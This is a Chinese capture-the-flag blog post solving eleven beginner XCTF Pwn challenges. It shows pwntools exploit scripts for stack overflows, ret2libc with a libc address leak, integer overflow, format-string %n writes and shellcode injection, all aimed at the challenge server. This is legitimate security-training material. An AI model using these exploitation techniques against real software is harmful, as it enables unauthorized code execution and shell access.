攻防世界XCTF-Pwn入门11题解题报告

Pwn是CTF中至关重要的项目,一般来说都是Linux二进制题目,零基础的同学可以看《程序员的自我修养》,主要题型包括:缓冲区溢出、Return to Libc、格式化字符串、PLT GOT等。

攻防世界XCFT刷题信息汇总如下:攻防世界XCTF黑客笔记刷题记录

第一题:level0

解题报告:

首先看看这个程序是啥呗,哦64位Linux可执行程序:

IDA看看逻辑,输出一个hello world然后就调用一个“有漏洞”的函数:

这个“有漏洞”的函数也很耿直,直接读0x200个字符进入仅有0x80个字符长度的栈中:

在函数窗口中,我们还发现一个有意思的函数,callsystem函数可以让我们获得一个shell,就它了。

咱们找一下这个函数的地址,我们缓冲区溢出,就想要跳转到这个地址上:

这里科普一下x86-64函数调用栈的结构,以后会经常见到,慢慢就熟悉了:

这里需要使用CTF必备的PwnTools库,与远程进行命令交互:

from pwn import * 
r = remote("111.198.29.45",48316)#远程连接
#'a'*0x8是填充ebp,p64(0x00400596)是填充ret
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.recvuntil("Hello, World\n")#直到接收到Hello,World才执行后面的操作
r.sendline(payload)#发送一行数据
r.interactive()#交互shell

第二题:when_did_you_born

解题报告:

首先看看这个程序是啥呗,哦64位Linux可执行程序,栈上还有金丝雀。

IDA看一下内部逻辑,关键字1926,生日首先不能是1926而后又要是1926,想办法用这个gets(&v4)把栈上的v5给覆盖掉,改写成1926就可以了。

查看栈上变量v4和v5的距离:

用栈上v4的值,覆盖掉v5的值,就可以拿到flag了。

from pwn import *
r=remote("111.198.29.45",33469)
payload='a'*(0x20-0x18)+p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("0")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print r.recv()
print r.recv()
#r.interactive()

第三题:hello_pwn

解题报告:

首先看看这个程序是啥呗,哦64位Linux可执行程序:

IDA看一下内部逻辑,发现只要修改栈上一个地址的值为nuaa即可。

这里注意一下,这里网络序发送的是aaun

from pwn import *
r=remote("111.198.29.45",41848)
payload='a'*(0x6c-0x68)+'aaun'
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
r.interactive()

第四题:level2

解题报告:

首先看看这个程序是啥呗,哦32位Linux可执行程序。

IDA看一下内部逻辑,很简单,直接进入“漏洞”函数,之后输出一个hello world:

进入“漏洞”函数一探究竟:

buff大小0x88,而我却可以塞进去0x100的内容。这里需要Return to libc,跳转到system系统函数,伪造一个函数调用栈:

from pwn import *
system=0x08048320
shell=0x0804A024
r=remote("111.198.29.45",52840)
payload='a'*(0x88)+'A'*(0x4)+p32(system)+p32(0)+p32(shell)
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()

找到system系统函数的地址:

找到shell字符串的地址:

最后成功获得shell控制权,拿到flag

第五题:guess_num

解题报告:

首先看看这个程序是啥呗,哦64位Linux可执行程序,开了金丝雀,地址随机化。

IDA看一下逻辑,咱们需要猜10次,错1次,就GG。我们只有直到随机数是多少,才能百猜百中,可以考虑通过v7咱们的名字,覆盖掉seed种子,从而直到随机数的大小。v7和seed的距离是0x20,直接覆盖过去,把seed种子设置为0,然后计算10次随机数。

这里需要主要,要么你通过cdll.LoadLibrary()拿到libc的函数,要么自己手动计算10次随机数。推荐直接使用libc中的函数来计算随机数,简直太酷了。

from pwn import *
from ctypes import *

libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0)

r=remote("111.198.29.45",44058)
payload='a'*(0x30-0x10)+p32(0)
r.recvuntil("Your name:")
r.sendline(payload)

for i in range(10):
    num=str(libc.rand()%6+1)
    r.recvuntil("Please input your guess number:")
    r.sendline(num)
r.interactive()

成功猜对10次,拿到flag:

第六题:int_overflow

解题报告:

这题有点意思,首先看看这个程序是啥呗,哦32位Linux可执行程序。

IDA查看一下逻辑:输入1登陆,输入2退出。这还有啥好说的,登陆进去瞧一瞧。

有点意思,让我输入名字,然后输入密码:

  • 名字存在s里面,s的大小是0x20,也就是32个字符
  • 密码存在buf里面,buf的大小是0x199,也就是409个字符

进入密码校验,要求密码长度大于3,小于等于8。我们的buf可以输入409个字符,因此这个v3最大长度应该是409,但是由于v3的类型是一个unsigned int8,也就是说最大值是256,所以我们输入的buf,就可以对这个v3进行整数溢出了。

溢出之后,咱们发现另一个漏洞点,strcpy函数,dest的大小是16个字节,咱们溢出它就能控制函数跳转了。往哪跳呢?当然是往有flag的地方跳啦。

顺水推舟,这里写256+4个字符,先干掉整数溢出。在这个字符中,我们调整覆盖函数栈中的返回地址,就可以改变函数执行流,拿到flag。

from pwn import *

r=remote("111.198.29.45",42982)
payload='a'*0x14+'A'*4+p32(0x0804868B)+'a'*(256+4-0x14-4-4)
r.recvuntil("Your choice:")
r.sendline("1")
r.recvuntil("Please input your username:\n")
r.sendline("ailx10")
r.recvuntil("Please input your passwd:\n")
r.sendline(payload)

r.interactive()

第七题:cgpwn2

解题报告:

首先看看这个程序是啥呗,哦32位Linux可执行程序。

IDA分析一下内部逻辑:允许我们输入一个长度为50的name字符串,然后输入一个不限制长度的s字符串,通过s的缓冲区,我们可以轻松的跳到pwn函数。

进入pwn函数,我们发现system函数,但是执行的命令不是我们想要的,因此我们要为system换一个参数,也就是需要构造一个字符串\bin\sh,期待拿到一个shell权限。因此,我们可以把需要的shell字符串放在name的位置上。

这里我们有了system函数的地址,name字符串地址,便可以伪造函数栈。

利用Return to libc的思想,拿shell权限,顺利拿到flag。

第八题:string

解题报告:

首先看看这个程序是啥呗,哦64位Linux可执行程序,无法修改got表,金丝雀保护,栈不可执行,这题是利用printf格式化字符串漏洞,2018年讲了一期相关的知乎live,比较浅显。

IDA一探究竟,v3是堆上的一块地址4个字节,内容是68,v3邻居的内容是85,v4是一个指向v3的8字节的指针。

接着玩游戏,要为我们创建一个游戏名字,长度不超过12个字节。

进入第一个函数,猛龙咆哮,傲虎。

进入第二个函数,生死局,这里输入错误的话,就拿不到flag了,需要重点分析。

进入第三个函数,置之死地而后生。哦,原来是要求*a1==a1[1],也就是最开始的68和85相等。

我们利用格式化字符串,可以看到我们输入的第一个地址,再次被打印出来了。

咱们试一下使得这个地址的值等于85,成功的执行下去了。

到这里还不行,再执行一个shellcode函数就可以拿到shell权限,从而获得flag。

from pwn import *

shell=asm(shellcraft.amd64.linux.sh(),arch="amd64")
r=remote("111.198.29.45",51271)
payload="%9x,%9x,%9x,%9x,%9x,%35x%n"
r.recvuntil("secret[0] is ")
addr=str(int(r.recvuntil("\n")[:-1],16))
r.sendlineafter("What should your character's name be:","ailx10")
r.sendlineafter("So, where you will go?east or up?:","east")
r.sendlineafter("go into there(1), or leave(0)?:","1")
r.sendlineafter("'Give me an address'",addr)
r.sendlineafter("And, you wish is:",payload)
r.sendlineafter("Wizard: I will help you! USE YOU SPELL",shell)

r.interactive()

第九题:level3

解题报告:

首先看看这个程序是啥呗,哦32位Linux可执行程序,只不过多了一个so文件。

IDA进去一探究竟,发现和上面一题很像,只不过没有system函数了,没有\bin\sh字符串了。好在我们可以从动态库中找到了函数和字符,但是动态库地址随机化了。

我们可以比较轻松的拿到main函数的地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

也可以轻松的拿到write函数的地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

也可以比较轻松的拿到vulnerable_function函数的地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在这个vulnerable_function函数中,我们可以利用这个仅仅0x88个字节大小的缓冲区buf,进行溢出,利用Ret to libc的思想,我们可以利用write函数输出write函数本身在got表中的地址内容(不停的变化的,像0xf76403c0,0xf766c3c0),然后计算出基址。再利用基址算出system函数的地址,和/bin/sh字符串的地址。

算出地址之后,还需要再次利用一个这个vulnerable_function函数,我们在第一次漏洞利用的时候,可以将ret返回值修改成main函数的地址,也可以修改成vulnerable_function函数的地址。总之,我们需要2次利用这个buf缓冲区漏洞。

from pwn import *

elf=ELF("./level3")
lib=ELF("./libc_32.so.6")

write_plt=elf.plt["write"];print hex(write_plt);#0x8048340 
write_got=elf.got["write"];print hex(write_got);#0x804a018

main_addr=elf.symbols["main"];print hex(main_addr);#0x8048484
vul_addr=elf.symbols["vulnerable_function"];print hex(vul_addr);#0x804844b

r=remote("111.198.29.45",55888)
payload1="A"*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendlineafter("Input:\n",payload1)
write_addr=u32(r.recv()[:4])#0xf76403c0 0xf766c3c0 每次运行都变化着的
lib_base=write_addr-lib.symbols["write"];print hex(lib_base);#0xf761f000
sys_addr=lib_base+lib.symbols["system"];print hex(sys_addr);#0xf7659940
sys_sh=lib_base+lib.search("/bin/sh").next();print hex(sys_sh);#0xf777802b

payload2="A"*(0x88+4)+p32(sys_addr)+p32(0)+p32(sys_sh)
r.sendlineafter("Input:",payload2)

r.interactive()

第十题:get_shell

解题报告:

签到题:啥也不用干,直接可以获得shell,然后拿到flag。

from pwn import *
r=remote("111.198.29.45",59457)
r.interactive()
r.close()

第十一题:CGfsb

解题报告:

首先看看这个程序是啥呗,哦32位Linux可执行程序,有金丝雀保护。

IDA一探究竟,逻辑还是比较简单的,我们可以控制的名字buf大小10,信息s大小100,这里s是格式化字符串,就可以搞事情了。如果让0x0804A068这块地址内容等于8,那么就可以获得flag。

测试发现,第10个位置的内容占了4个字节,正好是AAAA。

我们通过%n就可以往AAAA这个地址上写一个8,然后这个地址正好又是pwnme,岂不是美滋滋。而pwnme的地址是0x0804A068,来试一下。

from pwn import *

payload=p32(0x0804A068)+"AAAA"+"%10$n"
r=remote("111.198.29.45",43294)

r.sendlineafter("please tell me your name:","ailx10")
r.sendlineafter("leave your message please:",payload)

r.interactive()
r.close()

哈哈哈,Pwn入门篇至此完成啦,撒花~

在这里插入图片描述

回答: 对于攻防世界pwn新手,其中一个关键是要修改全局变量pwnme的内容。通过格式化字符串的方法,可以实现这个目标。格式化字符串的原理是利用输入的格式化字符串,修改内存中的指定位置的值。具体的方法可以参考CTF-wiki上对格式化字符串的总结。另外,还可以利用栈溢出漏洞来实现攻击。栈溢出漏洞的原理是当输入的数据超过了栈的缓冲区大小时,会覆盖到相邻的内存区域,包括函数返回地址等重要信息。通过溢出覆盖system函数的参数为"/bin/sh",就可以获取到shell权限。在IDA32中,可以通过查看字符串窗口,找到可以直接利用的字符串,比如system和/bin/sh。这样就可以猜测需要溢出覆盖system函数的参数,实现获取shell的目的。123 #### 引用[.reference_title] - *1* *2* [xctf攻防世界pwn基础解(新手食用)](https://blog.csdn.net/lplp9822/article/details/89735167)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] - *3* [攻防世界 pwn 二进制漏洞简单练习区 答(1-10解)](https://blog.csdn.net/qq_33957603/article/details/122450397)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值